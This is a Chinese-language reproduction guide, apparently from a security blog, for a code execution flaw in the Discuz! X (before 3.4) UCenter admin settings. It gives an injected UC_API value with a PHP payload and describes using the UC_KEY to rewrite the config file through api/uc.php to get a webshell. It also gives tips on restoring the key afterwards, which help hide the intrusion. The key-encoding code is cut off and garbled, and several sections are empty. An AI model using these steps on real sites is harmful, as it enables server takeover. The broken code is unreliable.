# Discuz! X < 3.4 uc_center 后台代码执行漏洞 ==== 一、漏洞简介
------------ 二、漏洞影响
------------ Discuz! X \< 3.4 三、复现过程
------------ - 进入后台站长-Ucenter设置,设置UC\_KEY=随意(一定要记住,后面要用), ```{=html}
“`
UC_API= http://www.0-sec.org/discuz34/uc_server’);phpinfo();//
1.png
2.png
成功写进配置文件,这里单引号被转移了,我们接下来使用UC\_KEY(dz)去调用api/uc.php中的updateapps函数更新UC\_API。
利用UC\_KEY(dz) 生成code参数,使用过UC\_KEY(dz)
GetWebShell的同学肯定不陌生,这里使用的UC\_KEY(dz)就是上面我们设置的。
0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return ”;
}
} else {
return $keyc.str_replace(‘=’, ”, base64_encode($result));
}
}
?>
– 将生成的数据带入GET请求中的code 参数,发送数据包 3.png
访问 http://www.0-sec.org/discuz34/config/config\_ucenter.php
代码执行成功4.png
5.png
到此成功GetWebShell,在这个过程中,有一点需要注意的是,我们修改了程序原有的UC\_KEY(dz),成功GetWebShell以后一定要修复,有2中方法:
– 从数据库中读取authkey(uc\_server),通过UC\_MYKEY解密获得UC\_KEY(dz),当然有可能authkey(uc\_server)就是UC\_KEY(dz)。
– 直接进入Ucenter后台修改UC\_KEY,修改成我们GetWebShell过程中所设置的值。
请登录后查看评论内容